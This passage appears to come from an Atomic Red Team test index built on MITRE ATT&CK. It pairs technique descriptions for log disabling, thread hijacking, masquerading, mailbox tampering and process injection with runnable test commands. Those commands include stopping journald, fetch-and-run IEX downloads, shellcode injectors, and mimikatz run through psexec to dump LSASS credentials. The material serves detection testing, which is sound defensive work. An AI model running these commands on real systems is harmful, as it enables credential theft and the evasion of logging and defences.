        '
      supported_platforms:
      - linux
      executor:
        command: 'sudo systemctl stop systemd-journald #disables journal logging

          '
        cleanup_command: |
          sudo systemctl start systemd-journald #starts journal service
          sudo systemctl enable systemd-journald #starts journal service automatically at boot time
        name: sh
        elevation_required: true
    - name: Disable journal logging via sed utility
      auto_generated_guid: 12e5551c-8d5c-408e-b3e4-63f53b03379f
      description: 'The atomic test disables the journal logging by searching and
        replacing the "Storage" parameter to "none" within the journald.conf file,
        thus any new journal entries will only be temporarily available in memory
        and not written to disk

        '
      supported_platforms:
      - linux
      executor:
        command: 'sudo sed -i ''s/Storage=auto/Storage=none/'' /etc/systemd/journald.conf

          '
        cleanup_command: |
          sudo sed -i 's/Storage=none/Storage=auto/' /etc/systemd/journald.conf #re-enables storage of journal data
          sudo systemctl restart systemd-journald #restart the journal service
        name: sh
        elevation_required: true
  T1055.003:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6
      type: attack-pattern
      created: '2020-01-14T01:28:32.166Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1055.003
        url: https://attack.mitre.org/techniques/T1055/003
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      modified: '2022-04-25T14:00:00.188Z'
      name: Thread Execution Hijacking
      description: "Adversaries may inject malicious code into hijacked processes
        in order to evade process-based defenses as well as possibly elevate privileges.
        Thread Execution Hijacking is a method of executing arbitrary code in the
        address space of a separate live process. \n\nThread Execution Hijacking is
        commonly performed by suspending an existing process then unmapping/hollowing
        its memory, which can then be replaced with malicious code or the path to
        a DLL. A handle to an existing victim process is first created with native
        Windows API calls such as <code>OpenThread</code>. At this point the process
        can be suspended then written to, realigned to the injected code, and resumed
        via <code>SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>,
        <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation:
        Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012)
        but targets an existing process rather than creating a process in a suspended
        state.  \n\nRunning code in the context of another process may allow access
        to the process's memory, system/network resources, and possibly elevated privileges.
        Execution via Thread Execution Hijacking may also evade detection from security
        products since the execution is masked under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>,
        and those that can be used to modify memory within another process, such as
        <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for
        this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Modification'
      - 'Process: Process Access'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      x_mitre_permissions_required:
      - User
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1055.003
    atomic_tests:
    - name: Thread Execution Hijacking
      auto_generated_guid: 578025d5-faa9-4f6d-8390-aae527d503e1
      description: 'This test injects a MessageBox shellcode generated by msfvenom
        in Notepad.exe using Thread Execution Hijacking. When successful, a message
        box will appear with the "Atomic Red Team" caption after one or two seconds. '
      supported_platforms:
      - windows
      executor:
        command: |-
          $notepad = Start-Process notepad -passthru
          Start-Process "$PathToAtomicsFolder\T1055.003\bin\InjectContext.exe"
          Start-Sleep -Seconds 5
          Stop-Process $notepad.id
        name: powershell
  T1036:
    technique:
      modified: '2024-03-08T17:00:59.133Z'
      name: Masquerading
      description: |-
        Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.

        Renaming abusable system utilities to evade security monitoring is also a form of [Masquerading](https://attack.mitre.org/techniques/T1036).(Citation: LOLBAS Main Site)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Oleg Kolesnikov, Securonix
      - Nick Carr, Mandiant
      - David Lu, Tripwire
      - Felipe Espósito, @Pr0teus
      - Elastic
      - Bartosz Jerzman
      - Goldstein Menachem
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Collect file hashes; file names that do not match their expected hash are suspect. Perform file monitoring; files with known names but in unusual locations are suspect. Likewise, files that are modified outside of an update or patch are suspect.

        If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)

        Look for indications of common characters that may indicate an attempt to trick users into misidentifying the file type, such as a space as the last character of a file name or the right-to-left override characters"\u202E", "[U+202E]", and "%E2%80%AE”.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Containers
      x_mitre_version: '1.7'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Process: Process Metadata'
      - 'Service: Service Creation'
      - 'Service: Service Metadata'
      - 'Process: Process Creation'
      - 'Image: Image Metadata'
      - 'Scheduled Job: Scheduled Job Metadata'
      - 'File: File Metadata'
      - 'Scheduled Job: Scheduled Job Modification'
      - 'Command: Command Execution'
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Application Control
      type: attack-pattern
      id: attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0
      created: '2017-05-31T21:30:38.511Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1036
        external_id: T1036
      - source_name: Twitter ItsReallyNick Masquerading Update
        description: Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading.
          Retrieved April 22, 2019.
        url: https://twitter.com/ItsReallyNick/status/1055321652777619457
      - source_name: Elastic Masquerade Ball
        description: 'Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball.
          Retrieved October 31, 2016.'
        url: https://www.elastic.co/blog/how-hunt-masquerade-ball
      - source_name: LOLBAS Main Site
        description: LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and
          also Libraries). Retrieved February 10, 2020.
        url: https://lolbas-project.github.io/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1036
    atomic_tests:
    - name: System File Copied to Unusual Location
      auto_generated_guid: 51005ac7-52e2-45e0-bdab-d17c6d4916cd
      description: It may be suspicious seeing a file copy of an EXE in System32 or
        SysWOW64 to a non-system directory or executing from a non-system directory.
      supported_platforms:
      - windows
      executor:
        command: "copy-item \"$env:windir\\System32\\cmd.exe\" -destination \"$env:allusersprofile\\cmd.exe\"\nstart-process
          \"$env:allusersprofile\\cmd.exe\"\nsleep -s 5 \nstop-process -name \"cmd\"
          | out-null"
        cleanup_command: remove-item "$env:allusersprofile\cmd.exe" -force -erroraction
          silentlycontinue
        name: powershell
    - name: Malware Masquerading and Execution from Zip File
      auto_generated_guid: 4449c89b-ec82-43a4-89c1-91e2f1abeecc
      description: When the file is unzipped and the README.cmd file opened, it executes
        and changes the .pdf to .dll and executes the dll. This is a BazaLoader technique
        [as reported here](https://twitter.com/ffforward/status/1481672378639912960)
      supported_platforms:
      - windows
      input_arguments:
        url:
          description: Location of zip file
          type: url
          default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1036/bin/T1036.zip
      dependencies:
      - description: Zip file must be present.
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\T1036.zip")
          {exit 0} else {exit 1}

          '
        get_prereq_command: "New-Item -Type Directory \"PathToAtomicsFolder\\..\\ExternalPayloads\\\"
          -ErrorAction ignore -Force | Out-Null\nInvoke-WebRequest #{url} -OutFile
          \"PathToAtomicsFolder\\..\\ExternalPayloads\\T1036.zip\" \n"
      executor:
        command: |-
          Expand-Archive -Path "PathToAtomicsFolder\..\ExternalPayloads\T1036.zip" -DestinationPath "$env:userprofile\Downloads\T1036" -Force
          cd "$env:userprofile\Downloads\T1036"
          cmd /c "$env:userprofile\Downloads\T1036\README.cmd" >$null 2>$null
        cleanup_command: |-
          taskkill /IM Calculator.exe /f >$null 2>$null
          Remove-Item "$env:userprofile\Downloads\T1036" -recurse -ErrorAction Ignore
        name: powershell
  T1070.008:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Email Collection: Mailbox Manipulation'
      description: "Adversaries may modify mail and mail application data to remove
        evidence of their activity. Email applications allow users and other programs
        to export and delete mailbox data via command line tools or use of APIs. Mail
        application data can be emails, email metadata, or logs generated by the application
        or operating system, such as export requests. \n\nAdversaries may manipulate
        emails and mailbox data to remove logs, artifacts, and metadata, such as evidence
        of [Phishing](https://attack.mitre.org/techniques/T1566)/[Internal Spearphishing](https://attack.mitre.org/techniques/T1534),
        [Email Collection](https://attack.mitre.org/techniques/T1114), [Mail Protocols](https://attack.mitre.org/techniques/T1071/003)
        for command and control, or email-based exfiltration such as [Exfiltration
        Over Alternative Protocol](https://attack.mitre.org/techniques/T1048). For
        example, to remove evidence on Exchange servers adversaries have used the
        <code>ExchangePowerShell</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        module, including <code>Remove-MailboxExportRequest</code> to remove evidence
        of mailbox exports.(Citation: Volexity SolarWinds)(Citation: ExchangePowerShell
        Module) On Linux and macOS, adversaries may also delete emails through a command
        line utility called <code>mail</code>  or use [AppleScript](https://attack.mitre.org/techniques/T1059/002)
        to interact with APIs on macOS.(Citation: Cybereason Cobalt Kitty 2017)(Citation:
        mailx man page)\n\nAdversaries may also remove emails and metadata/headers
        indicative of spam or suspicious activity (for example, through the use of
        organization-wide transport rules) to reduce the likelihood of malicious emails
        being detected by security products.(Citation: Microsoft OAuth Spam 2022)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_contributors:
      - Liran Ravich, CardinalOps
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Office 365
      - Google Workspace
      x_mitre_version: '1.1'
      x_mitre_data_sources:
      - 'Application Log: Application Log Content'
      - 'File: File Deletion'
      - 'File: File Modification'
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--438c967d-3996-4870-bfc2-3954752a1927
      created: '2022-07-08T21:04:03.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1070/008
        external_id: T1070.008
      - source_name: Volexity SolarWinds
        description: Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds
          Compromise to Breach Organizations. Retrieved December 29, 2020.
        url: https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/
      - source_name: Cybereason Cobalt Kitty 2017
        description: Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December
          27, 2018.
        url: https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf
      - source_name: mailx man page
        description: Michael Kerrisk. (2021, August 27). mailx(1p) — Linux manual
          page. Retrieved June 10, 2022.
        url: https://man7.org/linux/man-pages/man1/mailx.1p.html
      - source_name: ExchangePowerShell Module
        description: Microsoft. (2017, September 25). ExchangePowerShell. Retrieved
          June 10, 2022.
        url: https://docs.microsoft.com/en-us/powershell/module/exchange/?view=exchange-ps#mailboxes
      - source_name: Microsoft OAuth Spam 2022
        description: Microsoft. (2023, September 22). Malicious OAuth applications
          abuse cloud email services to spread spam. Retrieved March 13, 2023.
        url: https://www.microsoft.com/en-us/security/blog/2022/09/22/malicious-oauth-applications-used-to-compromise-email-servers-and-spread-spam/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1070.008
    atomic_tests:
    - name: Copy and Delete Mailbox Data on Windows
      auto_generated_guid: d29f01ea-ac72-4efc-8a15-bea64b77fabf
      description: 'Copies and deletes mail data on Windows

        '
      supported_platforms:
      - windows
      executor:
        command: |
          New-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -ItemType Directory -ErrorAction Ignore
          Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore }
          Remove-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore
        cleanup_command: 'Remove-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy"
          -Recurse -Force -ErrorAction Ignore

          '
        name: powershell
        elevation_required: true
    - name: Copy and Delete Mailbox Data on Linux
      auto_generated_guid: 25e2be0e-96f7-4417-bd16-a4a2500e3802
      description: 'Copies and deletes mail data on Linux

        '
      supported_platforms:
      - linux
      executor:
        command: |
          mkdir -p /var/spool/mail/copy
          for file in /var/spool/mail/*; do
            if [ "$(basename "$file")" != "copy" ]
            then
              cp -R "$file" /var/spool/mail/copy/
            fi
          done
          rm -rf /var/spool/mail/copy/*
        cleanup_command: 'rm -rf /var/spool/mail/copy

          '
        name: bash
        elevation_required: true
    - name: Copy and Delete Mailbox Data on macOS
      auto_generated_guid: 3824130e-a6e4-4528-8091-3a52eeb540f6
      description: 'Copies and deletes mail data on macOS

        '
      supported_platforms:
      - macos
      executor:
        command: |
          mkdir ~/Library/Mail/copy
          cp -R ~/Library/Mail/* ~/Library/Mail/copy
          rm -rf ~/Library/Mail/copy/*
        cleanup_command: 'rm -rf ~/Library/Mail/copy

          '
        name: bash
        elevation_required: true
    - name: Copy and Modify Mailbox Data on Windows
      auto_generated_guid: edddff85-fee0-499d-9501-7d4d2892e79b
      description: 'Copies and modifies mail data on Windows

        '
      supported_platforms:
      - windows
      executor:
        command: |
          New-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -ItemType Directory -ErrorAction Ignore
          Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data" -Exclude copy | ForEach-Object { Copy-Item -Path $_.FullName -Destination "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -Recurse -Force -ErrorAction Ignore }
          Get-ChildItem -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy" -File | ForEach-Object { Add-Content -Path $_.FullName -Value "Modification for Atomic Red Test" -ErrorAction Ignore }
        cleanup_command: 'Remove-Item -Path "C:\Users\$env:USERNAME\AppData\Local\Comms\Unistore\data\copy"
          -Recurse -Force -ErrorAction Ignore

          '
        name: powershell
        elevation_required: true
    - name: Copy and Modify Mailbox Data on Linux
      auto_generated_guid: 6d99f93c-da56-49e3-b195-163090ace4f6
      description: 'Copies and modifies mail data on Linux

        '
      supported_platforms:
      - linux
      executor:
        command: |
          mkdir -p /var/spool/mail/copy
          for file in /var/spool/mail/*; do
            if [ "$(basename "$file")" != "copy" ]
            then
              cp -R "$file" /var/spool/mail/copy/
              if [ -f "/var/spool/mail/copy/$(basename "$file")" ]; then
                echo "Modification for Atomic Red Test" >> "/var/spool/mail/copy/$(basename "$file")"
              fi
            fi
          done
        cleanup_command: 'rm -rf /var/spool/mail/copy

          '
        name: bash
        elevation_required: true
    - name: Copy and Modify Mailbox Data on macOS
      auto_generated_guid: 8a0b1579-5a36-483a-9cde-0236983e1665
      description: 'Copies and modifies mail data on macOS

        '
      supported_platforms:
      - macos
      executor:
        command: |
          mkdir ~/Library/Mail/copy
          cp -R ~/Library/Mail/* ~/Library/Mail/copy
          echo "Manipulated data" > ~/Library/Mail/copy/manipulated.txt
        cleanup_command: 'rm -rf ~/Library/Mail/copy

          '
        name: bash
        elevation_required: true
  T1055:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: Process Injection
      description: "Adversaries may inject code into processes in order to evade process-based
        defenses as well as possibly elevate privileges. Process injection is a method
        of executing arbitrary code in the address space of a separate live process.
        Running code in the context of another process may allow access to the process's
        memory, system/network resources, and possibly elevated privileges. Execution
        via process injection may also evade detection from security products since
        the execution is masked under a legitimate process. \n\nThere are many different
        ways to inject code into a process, many of which abuse legitimate functionalities.
        These implementations exist for every major OS but are typically platform
        specific. \n\nMore sophisticated samples may perform multiple process injections
        to segment modules and further evade detection, utilizing named pipes or other
        inter-process communication (IPC) mechanisms as a communication channel. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_contributors:
      - Anastasios Pingios
      - Christiaan Beek, @ChristiaanBeek
      - Ryan Becwar
      x_mitre_deprecated: false
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>,
        <code>QueueUserAPC</code>/<code>NtQueueApcThread</code>, and those that can
        be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>,
        may be used for this technique.(Citation: Elastic Process Injection July 2017)
        \n\nMonitor DLL/PE file events, specifically creation of these binary files
        as well as the loading of DLLs into processes. Look for DLLs that are not
        recognized or not normally loaded into a process. \n\nMonitoring for Linux
        specific calls such as the ptrace system call should not generate large amounts
        of data due to their specialized nature, and can be a very effective method
        to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics)
        \ (Citation: GNU Acct)  (Citation: RHEL auditd)  (Citation: Chokepoint preload
        rootkits) \n\nMonitor for named pipe creation and connection events (Event
        IDs 17 and 18) for possible indicators of infected processes with external
        modules.(Citation: Microsoft Sysmon v6 May 2017) \n\nAnalyze process behavior
        to determine if a process is performing actions it usually does not, such
        as opening network connections, reading files, or other suspicious actions
        that could relate to post-compromise behavior. "
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      x_mitre_version: '1.3'
      x_mitre_data_sources:
      - 'Process: Process Access'
      - 'Process: Process Modification'
      - 'File: File Modification'
      - 'Process: Process Metadata'
      - 'File: File Metadata'
      - 'Process: OS API Execution'
      - 'Module: Module Load'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
      type: attack-pattern
      id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d
      created: '2017-05-31T21:30:47.843Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1055
        external_id: T1055
      - source_name: GNU Acct
        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
          December 20, 2017.
        url: https://www.gnu.org/software/acct/
      - source_name: Elastic Process Injection July 2017
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
      - source_name: RHEL auditd
        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
          Chapter 7 - System Auditing. Retrieved December 20, 2017.
        url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
      - source_name: ArtOfMemoryForensics
        description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
          December 20, 2017.'
      - source_name: Microsoft Sysmon v6 May 2017
        description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
          December 13, 2017.
        url: https://docs.microsoft.com/sysinternals/downloads/sysmon
      - source_name: Chokepoint preload rootkits
        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
          Retrieved December 20, 2017.
        url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1055
    atomic_tests:
    - name: Shellcode execution via VBA
      auto_generated_guid: 1c91e740-1729-4329-b779-feba6e71d048
      description: |
        This module injects shellcode into a newly created process and executes. By default the shellcode is created,
        with Metasploit, for use on x86-64 Windows 10 machines.

        Note: Due to the way the VBA code handles memory/pointers/injection, a 64bit installation of Microsoft Office
        is required.
      supported_platforms:
      - windows
      input_arguments:
        txt_path:
          description: Path to file containing VBA macro to run
          type: path
          default: PathToAtomicsFolder\T1055\src\x64\T1055-macrocode.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'The 64-bit version of Microsoft Office must be installed

          '
        prereq_command: |
          try {
            $wdApp = New-Object -COMObject "Word.Application"
            $path = $wdApp.Path
            Stop-Process -Name "winword"
            if ($path.contains("(x86)")) { exit 1 } else { exit 0 }
          } catch { exit 1 }
        get_prereq_command: 'Write-Host "You will need to install Microsoft Word (64-bit)
          manually to meet this requirement"

          '
      - description: '"#{txt_path}" must exist on disk at specified location

          '
        prereq_command: 'if (Test-Path "#{txt_path}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{txt_path}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/src/x64/T1055-macrocode.txt" -OutFile "#{txt_path}" -UseBasicParsing
      executor:
        command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
          Invoke-Maldoc -macroFile "#{txt_path}" -officeProduct "Word" -sub "Execute"
        name: powershell
    - name: Remote Process Injection in LSASS via mimikatz
      auto_generated_guid: 3203ad24-168e-4bec-be36-f79b13ef8a83
      description: |
        Use mimikatz to remotely (via psexec) dump LSASS process content for RID 500 via code injection (new thread).
        Especially useful against domain controllers in Active Directory environments.
        It must be executed in the context of a user who is privileged on remote `machine`.

        The effect of `/inject` is explained in <https://blog.3or.de/mimikatz-deep-dive-on-lsadumplsa-patch-and-inject.html>
      supported_platforms:
      - windows
      input_arguments:
        machine:
          description: machine to target (via psexec)
          type: string
          default: DC1
        mimikatz_path:
          description: Mimikatz windows executable
          type: path
          default: "%tmp%\\mimikatz\\x64\\mimikatz.exe"
        psexec_path:
          description: Path to PsExec
          type: string
          default: PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Mimikatz executor must exist on disk and at specified location
          (#{mimikatz_path})

          '
        prereq_command: |
          $mimikatz_path = cmd /c echo #{mimikatz_path}
          if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
        get_prereq_command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX
          (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\"
          -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl
          = (Invoke-WebRequest $releases -UseBasicParsing | ConvertFrom-Json)[0].assets.browser_download_url
          | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath
          = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\"
          $basePath\n"
      - description: 'PsExec tool from Sysinternals must exist on disk at specified
          location (#{psexec_path})

          '
        prereq_command: 'if (Test-Path "#{psexec_path}") { exit 0} else { exit 1}

          '
        get_prereq_command: |
          [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" -UseBasicParsing
          Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force
          New-Item -ItemType Directory (Split-Path "#{psexec_path}") -Force | Out-Null
          Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "#{psexec_path}" -Force
      executor:
        command: '"#{psexec_path}" /accepteula \\#{machine} -c #{mimikatz_path} "lsadump::lsa
          /inject /id:500" "exit"

          '
        name: command_prompt
        elevation_required: false
    - name: Section View Injection
      auto_generated_guid: c6952f41-6cf0-450a-b352-2ca8dae7c178
      description: "This test creates a section object in the local process followed
        by a local section view.\nThe shellcode is copied into the local section view
        and a remote section view is created in the target process, pointing to the
        local section view. \nA thread is then created in the target process, using
        the remote section view as start address.\n"
      supported_platforms:
      - windows
      executor:
        command: |
          $notepad = Start-Process notepad -passthru
          Start-Process "$PathToAtomicsFolder\T1055\bin\x64\InjectView.exe"
        cleanup_command: Stop-Process $notepad.pid
        name: powershell
    - name: Dirty Vanity process Injection
      auto_generated_guid: 49543237-25db-497b-90df-d0a0a6e8fe2c
      description: "This test used the Windows undocumented remote-fork API RtlCreateProcessReflection
        to create a cloned process of the parent process\nwith shellcode written in
        its memory. The shellcode is executed after being forked to the child process.
        The technique was first presented at \nBlackHat Europe 2022. Shellcode will
        open a messsage box and a notepad.\n"
      supported_platforms:
      - windows
      input_arguments:
        pid:
          description: Parent process ID
          type: string
          default: "(Start-Process calc.exe -PassThru).Id"
      executor:
        command: 'Start-Process "$PathToAtomicsFolder\T1055\bin\x64\redVanity.exe"
          #{pid}

          '
        cleanup_command: Get-Process -Name calc, CalculatorApp -ErrorAction SilentlyContinue
          | Stop-Process -Force
        name: powershell
        elevation_required: false
    - name: Read-Write-Execute process Injection
      auto_generated_guid: '0128e48e-8c1a-433a-a11a-a5387384f1e1'
      description: "This test exploited the vulnerability in legitimate PE formats
        where sections have RWX permission and enough space for shellcode.\nThe RWX
        injection avoided the use of VirtualAlloc, WriteVirtualMemory, and ProtectVirtualMemory,
        thus evading detection mechanisms \nthat relied on API call sequences and
        heuristics. The RWX injection utilises API call sequences: LoadLibrary -->
        GetModuleInformation --> GetModuleHandleA --> RtlCopyMemory --> CreateThread.\nThe
        injected shellcode will open a message box and a notepad.\nRWX Process Injection,
        also known as MockingJay, was introduced to the security community by SecurityJoes.\nMore
        details can be found at https://www.securityjoes.com/post/process-mockingjay-echoing-rwx-in-userland-to-achieve-code-execution.\nThe
        original injector and idea were developed for game cheats, as visible at https://github.com/M-r-J-o-h-n/SWH-Injector.\n"
      supported_platforms:
      - windows
      input_arguments:
        vuln_dll:
          description: vulnerable DLL
          type: path
          default: PathToAtomicsFolder\T1055\bin\x64\vuln_dll\msys-2.0.dll
      dependency_executor_name: powershell
      dependencies:
      - description: 'Utility to inject must exist on disk at specified location (#{vuln_dll})

          '
        prereq_command: 'if (Test-Path "#{vuln_dll}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{vuln_dll}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1055/bin/x64/vuln_dll/msys-2.0.dll" -OutFile "#{vuln_dll}"
      executor:
        command: |
          $address = (& "$PathToAtomicsFolder\T1055\bin\x64\searchVuln.exe" "$PathToAtomicsFolder\T1055\bin\x64\vuln_dll\" | Out-String | Select-String -Pattern "VirtualAddress: (\w+)").Matches.Groups[1].Value
